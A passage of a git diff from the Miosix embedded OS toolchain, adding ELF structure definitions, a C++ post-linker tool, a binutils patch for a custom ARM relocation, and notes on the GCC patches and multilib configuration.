// Sizeof phdr + Elf32_Half e_phnum; // Number phdrs + Elf32_Half e_shentsize; // Sizeof shdr + Elf32_Half e_shnum; // Number shdrs + Elf32_Half e_shstrndx; // Shdr string index +} __attribute__((packed)); + +// Values for e_type +const Elf32_Half ET_NONE = 0; // Unknown type +const Elf32_Half ET_REL = 1; // Relocatable +const Elf32_Half ET_EXEC = 2; // Executable +const Elf32_Half ET_DYN = 3; // Shared object +const Elf32_Half ET_CORE = 4; // Core file + +// Values for e_version +const Elf32_Word EV_CURRENT = 1; + +// Values for e_machine +const Elf32_Half EM_ARM = 0x28; + +// Values for e_flags +const Elf32_Word EF_ARM_EABIMASK = 0xff000000; +const Elf32_Word EF_ARM_EABI_VER5 = 0x05000000; +const Elf32_Word EF_ARM_VFP_FLOAT = 0x400; +const Elf32_Word EF_ARM_SOFT_FLOAT = 0x200; + +/* + * Elf program header + */ +struct Elf32_Phdr +{ + Elf32_Word p_type; // Program header type, any of the PH_* constants + Elf32_Off p_offset; // Segment start offset in file + Elf32_Addr p_vaddr; // Segment virtual address + Elf32_Addr p_paddr; // Segment physical address + Elf32_Word p_filesz; // Segment size in file + Elf32_Word p_memsz; // Segment size in memory + Elf32_Word p_flags; // Segment flasgs, any of the PF_* constants + Elf32_Word p_align; // Segment alignment requirements +} __attribute__((packed)); + +// Values for p_type +const Elf32_Word PT_NULL = 0; // Unused array entry +const Elf32_Word PT_LOAD = 1; // Loadable segment +const Elf32_Word PT_DYNAMIC = 2; // Segment is the dynamic section +const Elf32_Word PT_INTERP = 3; // Shared library interpreter +const Elf32_Word PT_NOTE = 4; // Auxiliary information + +// Values for p_flags +const Elf32_Word PF_X = 0x1; // Execute +const Elf32_Word PF_W = 0x2; // Write +const Elf32_Word PF_R = 0x4; // Read + +/* + * Entries of the DYNAMIC segment + */ +struct Elf32_Dyn +{ + Elf32_Sword d_tag; // Type of entry + union { + Elf32_Word d_val; // Value of entry, if number + Elf32_Addr d_ptr; // Value of entry, if offset into the file + } d_un; +} __attribute__((packed)); + +// Values for d_tag +const int DT_NULL = 0; +const int DT_NEEDED = 1; +const int DT_PLTRELSZ = 2; +const int DT_PLTGOT = 3; +const int DT_HASH = 4; +const int DT_STRTAB = 5; +const int DT_SYMTAB = 6; +const int DT_RELA = 7; +const int DT_RELASZ = 8; +const int DT_RELAENT = 9; +const int DT_STRSZ = 10; +const int DT_SYMENT = 11; +const int DT_INIT = 12; +const int DT_FINI = 13; +const int DT_SONAME = 14; +const int DT_RPATH = 15; +const int DT_SYMBOLIC = 16; +const int DT_REL = 17; +const int DT_RELSZ = 18; +const int DT_RELENT = 19; +const int DT_PLTREL = 20; +const int DT_DEBUG = 21; +const int DT_TEXTREL = 22; +const int DT_JMPREL = 23; +const int DT_BINDNOW = 24; +const int DT_MX_RAMSIZE = 0x10000000; //Miosix specific, RAM size +const int DT_MX_STACKSIZE = 0x10000001; //Miosix specific, STACK size +const int DT_MX_ABI = 0x736f694d; //Miosix specific, ABI version +const unsigned int DV_MX_ABI_V0 = 0x00007869; //Miosix specific, ABI version 0 +const unsigned int DV_MX_ABI_V1 = 0x01007869; //Miosix specific, ABI version 1 + +/* + * Relocation entries + */ +struct Elf32_Rel +{ + Elf32_Addr r_offset; + Elf32_Word r_info; +} __attribute__((packed)); + +// To extract the two fields of r_info +#define ELF32_R_SYM(i) ((i)>>8) +#define ELF32_R_TYPE(i) ((unsigned char)(i)) + +// Possible values for ELF32_R_TYPE(r_info) +const unsigned char R_ARM_NONE = 0; +const unsigned char R_ARM_ABS32 = 2; +const unsigned char R_ARM_RELATIVE = 23; + +/* + * Elf Section header + */ +struct Elf32_Shdr +{ + Elf32_Word sh_name; + Elf32_Word sh_type; + Elf32_Word sh_flags; + Elf32_Addr sh_addr; + Elf32_Off sh_offset; + Elf32_Word sh_size; + Elf32_Word sh_link; + Elf32_Word sh_info; + Elf32_Word sh_addralign; + Elf32_Word sh_entsize; +}; + +// sh_type +const int SHT_NULL = 0; /* inactive */ +const int SHT_PROGBITS = 1; /* program defined information */ +const int SHT_SYMTAB = 2; /* symbol table section */ +const int SHT_STRTAB = 3; /* string table section */ +const int SHT_RELA = 4; /* relocation section with addends*/ +const int SHT_HASH = 5; /* symbol hash table section */ +const int SHT_DYNAMIC = 6; /* dynamic section */ +const int SHT_NOTE = 7; /* note section */ +const int SHT_NOBITS = 8; /* no space section */ +const int SHT_REL = 9; /* relation section without addends */ +const int SHT_SHLIB = 10; /* reserved - purpose unknown */ +const int SHT_DYNSYM = 11; /* dynamic symbol table section */ +const int SHT_LOPROC = 0x70000000; /* reserved range for processor */ +const int SHT_HIPROC = 0x7fffffff; /* specific section header types */ +const int SHT_LOUSER = 0x80000000; /* reserved range for application */ +const int SHT_HIUSER = 0xffffffff; /* specific indexes */ + +} //namespace miosix diff --git a/tools/compiler/gcc-9.2.0-mp3.4/mx-postlinker/main.cpp b/tools/compiler/gcc-9.2.0-mp3.4/mx-postlinker/main.cpp new file mode 100644 index 000000000..cbec798f5 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/mx-postlinker/main.cpp @@ -0,0 +1,52 @@ +/*************************************************************************** + * Copyright (C) 2012 by Luigi Rucco and Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include +#include "postlinker.h" + +using namespace std; + +int main(int argc, char *argv[]) +{ + int stackSize=-1; + int ramSize=-1; + string prog; + bool strip=false; + for(int i=1;i" + <<" --stacksize= [--strip-sectheader]"< * + ***************************************************************************/ + +#include "postlinker.h" + +using namespace std; + +PostLinker::PostLinker(string s) +{ + elfFile=s; + ifstream f(s.c_str(),ios::binary); + if(!f.good()) throw runtime_error("File not found"); + f.seekg(0,ios::end); + size=f.tellg(); + newSize=size; + f.seekg(0,ios::beg); + int roundedSize=(size+sizeof(Elf32_Word)-1) & ~(sizeof(Elf32_Word)-1); + elf=new Elf32_Word[roundedSize/sizeof(Elf32_Word)]; + memset(elf,0,roundedSize); + f.read(reinterpret_cast(elf),size); + static const char magic[EI_NIDENT]={0x7f,'E','L','F',1,1,1}; + if(sizee_ident,magic,EI_NIDENT)) + throw runtime_error("Unrecognized format"); +} + +void PostLinker::removeSectionHeaders() +{ + newSize=getElfSection(getElfHeader()->e_shstrndx)->sh_offset; + getElfHeader()->e_shoff=0; + getElfHeader()->e_shnum=0; + getElfHeader()->e_shentsize=0; + getElfHeader()->e_shstrndx=0; +} + +void PostLinker::setMxTags(int stackSize, int ramSize) +{ + if(stackSize & 0x3) + throw runtime_error("stack size not four word aligned"); + if(ramSize & 0x3) + throw runtime_error("ram size not four word aligned"); + if(getSizeOfDataAndBss()+stackSize>ramSize) + throw runtime_error(".data + .bss + stack exceeds ramsize"); + getElfHeader()->e_type=ET_EXEC; //Force ET_EXEC + int ctr=0; + pair dyn=getDynamic(); + for(int i=0;id_tag!=DT_NULL) continue; + switch(ctr) + { + case 0: + dyn.first->d_tag=DT_MX_RAMSIZE; + dyn.first->d_un.d_val=ramSize; + break; + case 1: + dyn.first->d_tag=DT_MX_STACKSIZE; + dyn.first->d_un.d_val=stackSize; + break; + case 2: + dyn.first->d_tag=DT_MX_ABI; + dyn.first->d_un.d_val=DV_MX_ABI_V1; + return; + } + ctr++; + } + throw runtime_error("Not enough null entries"); +} + +void PostLinker::writeFile() +{ + ofstream o(elfFile.c_str(),ios::binary); + o.write(reinterpret_cast(elf),newSize); +} + +pair PostLinker::getDynamic() +{ + for(int i=0;ie_phnum;i++) + { + Elf32_Phdr* phdr=getElfSegment(i); + if(phdr->p_type!=PT_DYNAMIC) continue; + unsigned char *base=reinterpret_cast(elf); + unsigned int offset=phdr->p_offset; + if(offset+phdr->p_memsz>size) + throw std::runtime_error("Dynamic outside file bounds"); + return make_pair(reinterpret_cast(base+offset), + phdr->p_memsz/sizeof(Elf32_Dyn)); + } + throw runtime_error("Dynamic not found"); +} + +int PostLinker::getSizeOfDataAndBss() +{ + for(int i=0;ie_phnum;i++) + { + Elf32_Phdr* phdr=getElfSegment(i); + if(phdr->p_type!=PT_LOAD) continue; + if(!(phdr->p_flags & PF_W) || (phdr->p_flags & PF_X)) continue; + return phdr->p_memsz; + } + throw runtime_error(".data/.bss not found"); +} + +PostLinker::~PostLinker() +{ + delete[] elf; +} diff --git a/tools/compiler/gcc-9.2.0-mp3.4/mx-postlinker/postlinker.h b/tools/compiler/gcc-9.2.0-mp3.4/mx-postlinker/postlinker.h new file mode 100644 index 000000000..ea6e3f402 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/mx-postlinker/postlinker.h @@ -0,0 +1,129 @@ +/*************************************************************************** + * Copyright (C) 2012 by Luigi Rucco and Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#ifndef POSTLINKER_H +#define POSTLINKER_H + +#include "elf_types.h" +#include +#include +#include +#include +#include +#include +#include + +using namespace miosix; + +/** + * This class performs transformations on an elf file, + * including stripping the section header and associated + * string table, and setting some Miosix specific options + * in the dynamic segment + */ +class PostLinker +{ +public: + /** + * Constructor + * \param s elf file name + */ + PostLinker(std::string s); + + /** + * Remove the section header and string table from the elf file + */ + void removeSectionHeaders(); + + /** + * Set the Miosix specific options in the dynamic segment + * \param stackSize size that the runtime linker-loader will reserve for + * the stack of the process + * \param ramSize size of the process RAM image that the runtime + * linker-loader will allocate for the process + */ + void setMxTags(int stackSize, int ramSize); + + /** + * Write changes to disk + */ + void writeFile(); + + /** + * Destructor + */ + ~PostLinker(); + +private: + PostLinker(const PostLinker&); + PostLinker& operator= (const PostLinker&); + + /** + * \return the elf header + */ + Elf32_Ehdr* getElfHeader() + { + return reinterpret_cast(elf); + } + + /** + * Allows to retrieve a section header given its index + * \param index a index from 0 to getElfHeader()->e_shnum + * \return the corresponding section header + */ + Elf32_Shdr* getElfSection(int index) + { + unsigned char *base=reinterpret_cast(elf); + unsigned int offset=getElfHeader()->e_shoff+index*sizeof(Elf32_Shdr); + if(offset+sizeof(Elf32_Shdr)>size) + throw std::runtime_error("Elf section outside file bounds"); + return reinterpret_cast(base+offset); + } + + /** + * Allows to retrieve a segment header given its index + * \param index a index from 0 to getElfHeader()->e_phnum + * \return the corresponding secgment header + */ + Elf32_Phdr *getElfSegment(int index) + { + unsigned char *base=reinterpret_cast(elf); + unsigned int offset=getElfHeader()->e_phoff+index*sizeof(Elf32_Phdr); + if(offset+sizeof(Elf32_Phdr)>size) + throw std::runtime_error("Elf segment outside file bounds"); + return reinterpret_cast(base+offset); + } + + /** + * \return the size of the segment that is loaded in RAM, with + * .data and .bss + */ + int getSizeOfDataAndBss(); + + /** + * \return a pair with a pointer to the first element in the dynamic + * segment and the number of entries in the dynamic segment + */ + std::pair getDynamic(); + + Elf32_Word* elf; + int size; + int newSize; + std::string elfFile; +}; + +#endif //POSTLINKER_H diff --git a/tools/compiler/gcc-9.2.0-mp3.4/patches/binutils.patch b/tools/compiler/gcc-9.2.0-mp3.4/patches/binutils.patch new file mode 100644 index 000000000..de0952800 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/patches/binutils.patch @@ -0,0 +1,112 @@ +diff -ruN binutils-2.32-old/bfd/elf32-arm.c binutils-2.32/bfd/elf32-arm.c +--- binutils-2.32-old/bfd/elf32-arm.c 2019-01-28 18:09:04.000000000 +0100 ++++ binutils-2.32/bfd/elf32-arm.c 2020-07-19 15:10:11.522594490 +0200 +@@ -1853,6 +1853,24 @@ + FALSE), /* pcrel_offset */ + }; + ++static reloc_howto_type elf32_arm_howto_table_miosix[1] = ++{ ++/* 32 bit absolute */ ++ HOWTO (R_ARM_MIOSIXPROC_TGT2, /* type */ ++ 0, /* rightshift */ ++ 2, /* size (0 = byte, 1 = short, 2 = long) */ ++ 32, /* bitsize */ ++ FALSE, /* pc_relative */ ++ 0, /* bitpos */ ++ complain_overflow_bitfield,/* complain_on_overflow */ ++ bfd_elf_generic_reloc, /* special_function */ ++ "R_ARM_MIOSIXPROC_TGT2", /* name */ ++ FALSE, /* partial_inplace */ ++ 0xffffffff, /* src_mask */ ++ 0xffffffff, /* dst_mask */ ++ FALSE), /* pcrel_offset */ ++}; ++ + /* 249-255 extended, currently unused, relocations: */ + static reloc_howto_type elf32_arm_howto_table_3[4] = + { +@@ -1922,6 +1940,10 @@ + if (r_type >= R_ARM_IRELATIVE + && r_type < R_ARM_IRELATIVE + ARRAY_SIZE (elf32_arm_howto_table_2)) + return &elf32_arm_howto_table_2[r_type - R_ARM_IRELATIVE]; ++ ++ if (r_type >= R_ARM_MIOSIXPROC_TGT2 ++ && r_type < R_ARM_MIOSIXPROC_TGT2 + ARRAY_SIZE (elf32_arm_howto_table_miosix)) ++ return &elf32_arm_howto_table_miosix[r_type - R_ARM_MIOSIXPROC_TGT2]; + + if (r_type >= R_ARM_RREL32 + && r_type < R_ARM_RREL32 + ARRAY_SIZE (elf32_arm_howto_table_3)) +@@ -8995,6 +9017,8 @@ + globals->target2_reloc = R_ARM_ABS32; + else if (strcmp (params->target2_type, "got-rel") == 0) + globals->target2_reloc = R_ARM_GOT_PREL; ++ else if (strcmp (params->target2_type, "mx-data-rel") == 0) //Miosix OS specific ++ globals->target2_reloc = R_ARM_MIOSIXPROC_TGT2; + else + { + _bfd_error_handler (_("invalid TARGET2 relocation type '%s'"), +@@ -10431,6 +10455,7 @@ + case R_ARM_XPC25: + case R_ARM_PREL31: + case R_ARM_PLT32: ++ case R_ARM_MIOSIXPROC_TGT2: + /* Handle relocations which should use the PLT entry. ABS32/REL32 + will use the symbol's value, which may point to a PLT entry, but we + don't need to handle that here. If we created a PLT entry, all +@@ -10480,7 +10505,8 @@ + && r_type != R_ARM_CALL + && r_type != R_ARM_JUMP24 + && r_type != R_ARM_PREL31 +- && r_type != R_ARM_PLT32) ++ && r_type != R_ARM_PLT32 ++ && r_type != R_ARM_MIOSIXPROC_TGT2) /* No run-time resolution needed */ + { + Elf_Internal_Rela outrel; + bfd_boolean skip, relocate; +@@ -10793,6 +10819,33 @@ + if (branch_type == ST_BRANCH_TO_THUMB) + value |= 1; + break; ++ ++ /* ++ * R_ARM_MIOSIXPROC_TGT2 is used in Miosix processes to implement TARGET2 ++ * static relocations for C++ exception unwinding tables. ++ * In Miosix processes, pointers in exception unwinding tables are of the ++ * DW_EH_PE_datarel type as there's no fixed gap between .ARM.extab and ++ * .data sections. The unwinding code sums the base of the data segment to ++ * the statically relocated offset by calling _Unwind_GetDataRelBase. ++ * Since this is done in code, no run-time relocation should be output in ++ * the binary file against .ARM.extab which can be readonly. ++ * Apparently, all the required support was unimplemented in GCC and ++ * although binutils provided a command-line option to select how TARGET2 ++ * relocations should be treated, the available ones couldn't be made to ++ * work. Even more, although I tried to implement TARGET2 using an existing ++ * relocations, I couldn't and I had to add a new one, R_ARM_MIOSIXPROC_TGT2 ++ * which is basically the same as R_ARM_ABS32, except that ++ * - no run-time relocation should be present ++ * - 0x4000000 (Miosix processes' DATA_BASE in the linker script) should be ++ * subtracted to encode only the data-relative offset ++ * ++ * See processes-patch.md in the Miosix kernel tree for the big picture. ++ */ ++ case R_ARM_MIOSIXPROC_TGT2: ++ value += addend - 0x40000000; /* subtract DATA_BASE */ ++ if (branch_type == ST_BRANCH_TO_THUMB) ++ value |= 1; ++ break; + + case R_ARM_ABS32_NOI: + value += addend; +diff -ruN binutils-2.32-old/include/elf/arm.h binutils-2.32/include/elf/arm.h +--- binutils-2.32-old/include/elf/arm.h 2019-01-19 17:01:33.000000000 +0100 ++++ binutils-2.32/include/elf/arm.h 2020-07-19 11:39:39.783870092 +0200 +@@ -250,6 +250,8 @@ + RELOC_NUMBER (R_ARM_TLS_LDM32_FDPIC, 166) + RELOC_NUMBER (R_ARM_TLS_IE32_FDPIC, 167) + ++ RELOC_NUMBER (R_ARM_MIOSIXPROC_TGT2, 248) /* data-relative TARGET2 in Miosix processes */ ++ + /* Extensions? R=read-only? */ + RELOC_NUMBER (R_ARM_RXPC25, 249) + RELOC_NUMBER (R_ARM_RSBREL32, 250) diff --git a/tools/compiler/gcc-9.2.0-mp3.4/patches/doc/gcc.txt b/tools/compiler/gcc-9.2.0-mp3.4/patches/doc/gcc.txt new file mode 100644 index 000000000..6c8149d4c --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/patches/doc/gcc.txt @@ -0,0 +1,197 @@ +Rationale for gcc patch +----------------------- + +This patch does the following: + +1) It modifies the config/gthr.m4 and libgcc/configure files to add + gthr-miosix.h to the build system. + +2) It modifies gcc/config.gcc to add the miosix-eabi.h file and t-arm-miosix to + the build system. + +3) It modifies gcc/configure and gcc/configure.ac to accept the parameter + --enable-threads=miosix + +4) It adds gcc/config/arm/miosix-eabi.h which defines the builtin _MIOSIX and + the miosix patch version. + +5) It adds gcc/config/arm/t-arm-miosix to enable multilibs for + fpie/msingle-pic-base to implement processes. It also enables multilibs for + ARM architecture variants relevant for microcontrollers. + +6) Given that Miosix does not have a thread local storage API, but it is + required in a couple of places related to C++ exception handling + (that is, gcc/unwind-sjlj.c and libsupc++/eh_globals.cc), those files have + been modified removing functions to get/set the thread-local variables. + Those functions are now implemented within Miosix, in kernel/syscalls.cpp + +7) It adds the gcc/gthr-miosix.h specifying the miosix thread model, basically + telling the compiler that threadsafe code is required and pointing it to + the routines it needs to do so (standard posix routines). Without this + modification, arm-miosix-eabi-gcc -v would report "Thread model: single" + and generate thread unsafe code. + +8) The thread safe initialization of C++ static objects can be implemented + more efficiently using the Miosix API rather than the POSIX one, so the + functions __cxa_guard_[acquire|release|abort] have been removed from + libsupc++/guard.cc and implemented in miosix/kernel/syscalls.cpp + +9) It reduces the size of the emergency buffer in + libstdc++-v3/libsupc++/eh_alloc.cc, which is used for allocating the + std::bad_alloc exception that operator new should throw when the heap is + full. By default it is set to a conservative value that is too large when + compared with the RAM size of microcontrollers. + +10) It makes the verbose terminate handler a weak symbol to save code size. + +11) It adds __attribute__((weak)) to some functions that pull in exception + support to make them overridable by miosix when compiling without exceptions + to minimize code size. The only ones which are not made weak are: + - ios_failure: already large code size, so might as well not disable exceptions + - regex: same as above + - occurrences of _GLIBCXX_THROW_OR_ABORT in headers. Don't know how to fix + those, if they are ever used inside a .cc file within libstdc++ itself. + +12) It moves some functions from a .cc file within libstdc++ to the header file, + as when libstdc++ is compiled, exceptions are enabled. This code then pulls + in exception support (and its code size penalty) even when Miosix is built + with exceptions disabled. string, condition_variable and thread have + been patched to avoid this. For string, removing template instantiation + prevention code for basic_string was needed to generate non-exception code + that is preferentially linked instead of the one in libstdc++ forcedly + instantiated in libstdc++. + +NOTES +----- + +Atomicity of libstdc++ +---------------------- +from objdir/arm-miosix-eabi//libstdc++-v3/config.log + ARM CM0 CM3 CM4 CM7 +atomic builtins for bool - - Y Y Y +atomic builtins for short - - Y Y Y +atomic builtins for int - - Y Y Y +atomic builtins for long long - - - - - +lock policy for shared_ptr F F Y* Y* Y* +* configure:15883: result: atomic +Note that: +- atomic_store still uses mutex anyway, see bits/shared_ptr_atomic.h + +Autotools issue +--------------- +Some configure checks fail because in order to check for the presence of a +particular function, a sample C program is compiled AND LINKED. Now, the +GCC for miosix is meant to work if linked to libmiosix.a which isn't there yet, +so code depending on syscalls causes "undefined reference" link failures. +Do check the output of configure (configure.log) for check failures and +add stubs to newlib accordingly. +Note: look for configure.log in objdir/arm-miosix-eabi subdirectories, +which curently are libatomic, libgcc, libquadmath and libstdc++-v3. +The one that does more syscall-dependent configure checks is libstdc++ + +Checks +------ +thread_local is not supported, check that an example with thread_local produces +compile-time errors to avoid giving the false impression that it works. + +Types to watch out +------------------ +Some unexported types are copy-pasted in the kernel, and need to be kept consistent +struct __cxa_eh_globals in miosix/stdlib_integration/libstdcpp_integration.h + + +Program to check how atomic ops are handled +------------------------------------------- +//test code -- begin +//libsupc++/eh_atomics.h is worth a look +#include +#include +#include +_Atomic_word theInt; +void inc() +{ + __atomic_add_fetch (&theInt, 1, __ATOMIC_ACQ_REL); +} +bool decTest() +{ + return __atomic_sub_fetch (&theInt, 1, __ATOMIC_ACQ_REL) == 0; +} +//arm-miosix-eabi-g++ -mthumb -mcpu=cortex-m3 -std=c++11 -O2 -S test.cpp +// _Z3incv: +// dmb ish +// ldr r3, .L4 +// .L2: +// ldrex r2, [r3] +// adds r2, r2, #1 +// strex r1, r2, [r3] +// cmp r1, #0 +// bne .L2 +// dmb ish +// bx lr +//arm-miosix-eabi-g++ -mthumb -mcpu=cortex-m0 -std=c++11 -O2 -S test.cpp +// _Z3incv: +// push {r4, lr} +// movs r2, #4 +// movs r1, #1 +// ldr r0, .L3 +// bl __atomic_fetch_add_4 +// pop {r4, pc} +//test code -- end + + +Calculations to minimize the emergency buffer for throwing std::bad_alloc. +-------------------------------------------------------------------------- +# Sample program to do the computation -- begin +//Requires to copy-paste unwind-cxx.h from libsupc++ +#include +#include +#include "unwind-cxx.h" +#include +int main() +{ + printf("sizeof(_Unwind_Exception) %d\n",sizeof(_Unwind_Exception)); + printf("sizeof(_Atomic_word) %d\n",sizeof(_Atomic_word)); + printf("sizeof(__cxa_exception) %d\n",sizeof(__cxxabiv1::__cxa_exception)); + printf("sizeof(__cxa_refcounted_exception) %d\n",sizeof(__cxxabiv1::__cxa_refcounted_exception)); + printf("sizeof(std::bad_alloc) %d\n",sizeof(std::bad_alloc)); + printf("sizeof(std::logic_error) %d\n",sizeof(std::logic_error)); + throw std::bad_alloc(); +} +# Sample program to do the computation -- end + +unwind-cxx.h declares __cxa_refcounted_exception, while unwind-arm-common.h +declares _Unwind_Exception. Size computations as of Sep 1, 2019. + +The size of __cxa_refcounted_exception on ARM is: +sizeof(_Unwind_Exception) 88 +sizeof(_Atomic_word) 4 +sizeof(__cxa_exception) 120 +sizeof(__cxa_refcounted_exception) 128 +sizeof(std::bad_alloc) 4 +sizeof(std::logic_error) 8 + +While on other archs is (commenting #ifdef __ARM_EABI_UNWINDER__ part in unwind-cxx.h) +sizeof(_Unwind_Exception) 88 +sizeof(_Atomic_word) 4 +sizeof(__cxa_exception) 136 +sizeof(__cxa_refcounted_exception) 144 +sizeof(std::bad_alloc) 4 +sizeof(std::logic_error) 8 + +Thus allocating bad_alloc takes 132Bytes on ARM, and 148Bytes on other archs. + +It is recomended to leave some space just in case a different exception is +thrown, like logic_error or runtime_error and there is no heap to allocate it. +By seeing stdexcept and stdexcept.cc these classes only contain a string object, +and sizeof(logic_error) returns 8 bytes (4=vptr 4=string). + +Note Jul 5, 2010. +A testcase started to fail, JTAG debugging found that a bad_alloc was allocated +that required 132Bytes. Expanding EMERGENCY_OBJ_SIZE to 160 bytes (128+32) to leave +some margin. +Note Sep 1, 2019. +Apparently, nothing changed in 9 years, as bad_alloc still requires 132Bytes. + +Conclusion: +Looks like EMERGENCY_OBJ_SIZE can be shrinked from 512 to 160bytes, for 32bit systems. +For EMRGENCY_OBJ_COUNT, 3 is good. diff --git a/tools/compiler/gcc-9.2.0-mp3.4/patches/doc/gcc_multilib.md b/tools/compiler/gcc-9.2.0-mp3.4/patches/doc/gcc_multilib.md new file mode 100644 index 000000000..e8d36b97f --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/patches/doc/gcc_multilib.md @@ -0,0 +1,174 @@ +# Multilib configuration with config file fragments in GCC + +Even though the documentation in https://gcc.gnu.org/onlinedocs/gccint/Target-Fragment.html +is fairly comprehensive about how config file fragments work, it is missing +a high-level overview of what is happening and leaves out important details, +which might make the process of updating these files a bit baffling. + +The config file fragments to run are selected by the config.gcc shell script, +depending on the specified target triple, matched via shell script globs. +The list of fragments is stored in the tmake_file environment variable, which +through the magic of autoconf/automake gets copied in the materialized +Makefile, where they are included just before the declaration of the recipes +related to target-dependent files. Therefore, these "config" file fragments are +actually Makefile includes, and do not actually run at config time. Whatever. + +The config fragments set the following variables related to multilib: + + - `MULTILIB_OPTIONS`, `MULTILIB_DIRNAMES`: base set of multilibs + - `MULTILIB_EXCEPTIONS`: blacklist to be applied to the base set + - `MULTILIB_REQUIRED`: whitelist to be applied to the base set after the blacklist + - `MULTILIB_MATCHES`: specifies aliases for single options + - `MULTILIB_REUSE`: specifies aliases for single option combinations + +These variables are processed by a Python script called `genmultilib`, which +in turn produces a header file called `multilib.h` which is then included +by the code of GCC. This mechanism effectively "bakes" the multilib directory +structure in the GCC executable. + +## Multilib option expansion + +The `MULTILIB_OPTIONS` variable is basically interpreted as a list of +sets, where the number of sets is defined by the number of options separated by +spaces, and slashes (/) separe each item in the set. Each set also implicitly +includes the empty string (for the case in which the option is not specified). + +Therefore if + +``` +MULTILIB_OPTIONS=mthumb march=armv6s-m/march=armv7-m/march=armv7e-m mfloat-abi=hard/mfloat-abi=softfp +``` + +then there are 3 sets with size 2, 4, 3 respectively: + +``` +"" "" "" +"mthumb" "march=armv6s-m" "mfloat-abi=hard" + "march=armv7-m" "mfloat-abi=softfp" + "march=armv7e-m" +``` + +The multilib list is generated by cartesian product of the sets, resulting in: + +``` +"","","" +"","","mfloat-abi=hard" +"","","mfloat-abi=softfp" +"","march=armv6s-m","" +"","march=armv6s-m","mfloat-abi=hard" +"","march=armv6s-m","mfloat-abi=softfp" +"","march=armv7-m","" +"","march=armv7-m","mfloat-abi=hard" +"","march=armv7-m","mfloat-abi=softfp" +"","march=armv7e-m","" +"","march=armv7e-m","mfloat-abi=hard" +"","march=armv7e-m","mfloat-abi=softfp" +"mthumb","","" +"mthumb","","mfloat-abi=hard" +"mthumb","","mfloat-abi=softfp" +"mthumb","march=armv6s-m","" +"mthumb","march=armv6s-m","mfloat-abi=hard" +"mthumb","march=armv6s-m","mfloat-abi=softfp" +"mthumb","march=armv7-m","" +"mthumb","march=armv7-m","mfloat-abi=hard" +"mthumb","march=armv7-m","mfloat-abi=softfp" +"mthumb","march=armv7e-m","" +"mthumb","march=armv7e-m","mfloat-abi=hard" +"mthumb","march=armv7e-m","mfloat-abi=softfp" +``` + +And now you know why this way of deciding which multilibs to build wasn't +exactly the best one... and they introduced `MULTILIB_EXCEPTIONS`, +`MULTILIB_REQUIRED`, `MULTILIB_MATCHES` and `MULTILIB_REUSE` to patch it up. +All these variables take the list above and modify it. `MULTILIB_REQUIRED` +modifies the combinations GCC build time, while the others are implemented +at GCC runtime. + +The `genmultilib` script flattens the sets even more, by repeating all options +that were *not* chosen, prefixed by a "!", producing basically an (inefficient) +one-hot encoding of the above. Therefore the list above becomes: + +``` +"!mthumb !march=armv6s-m !march=armv7-m !march=armv7e-m !mfloat-abi=hard !mfloat-abi=softfp" +"!mthumb !march=armv6s-m !march=armv7-m !march=armv7e-m mfloat-abi=hard !mfloat-abi=softfp" +"!mthumb !march=armv6s-m !march=armv7-m !march=armv7e-m !mfloat-abi=hard mfloat-abi=softfp" +"!mthumb march=armv6s-m !march=armv7-m !march=armv7e-m !mfloat-abi=hard !mfloat-abi=softfp" +"!mthumb march=armv6s-m !march=armv7-m !march=armv7e-m mfloat-abi=hard !mfloat-abi=softfp" +"!mthumb march=armv6s-m !march=armv7-m !march=armv7e-m !mfloat-abi=hard mfloat-abi=softfp" +... +``` + +You get the idea... + +## Multilib selection process + +When choosing a multilib, GCC first normalizes (in a target-dependent way) +the command line options related to the architecture to a certain degree +(mainly adds -march=... if it has been implied by a more complex sequence of +options, and also adds any default option if it has not been specifically +overridden) and then picks the multilib directory via the `set_multilib_dir()` +function (in gcc/gcc.c). + +This function first check if there is an exclusion (`MULTILIB_EXCEPTIONS`) +that matches all the specified arguments. In that case it quits immediately, +which results in not choosing any multilib. +Otherwise, it checks every available multilib and alias (`MULTILIB_REUSE`) +for a match with the given options. Options in the multilib specification and +the command line are compared via plain old string comparison (!). +The algorithm looks like this, in pseudocode (assuming I didn't read it wrong, +the original implementation of the logic is unnecessarily convoluted): + +``` +for combination in multilibs: + ok = true + for option in combination: + # gcc/gcc.c:8944 (gcc 9.2.0) + if option was specified because it's a default: + continue + # gcc/gcc.c:8930 (gcc 9.2.0) + in_cmd_line = option was specified in the command line + should_be_in_cmd_line = option is specified for this multilib (not prefixed with !) + if in_cmd_line != should_be_in_cmd_line: + ok = false + break + # gcc/gcc.c:8951 (gcc 9.2.0) + if ok: + return directory of this combination +# no multilib found +return root lib directory +``` + +In other words, options that are not contemplated by the multilib configuration +are ignored. Amongst the options contemplated, a multilib matches if all +non-default options given to gcc (after normalization) match exactly with the +ones that were enabled for that multilib. + +Note that options set as default via defines (for example `TARGET_DEFAULT_FLOAT_ABI`) +do NOT count as a default option for the logic above, as these defaults never +appear as argument strings in a gcc internal command line. I leave any comment +to the reader. + +## Can I have two options that always appear together be associated with one directory level instead of two? + +Example: `-fpie -msingle-pic-base` are either both enabled or both disabled for +Miosix multilibs. We want to use a single directory level `processes` for that +pair of options instead of two levels. + +Putting the two options in quotes will never work because the quotes will +be inconsistently expanded by the various scripts. I didn't even try this +approach because it sounds so hopeless. (if you have one day to waste you can +try it out!) + +What I tried is using "." for one of the directories like this: + +``` +MULTILIB_OPTIONS += fpie msingle-pic-base 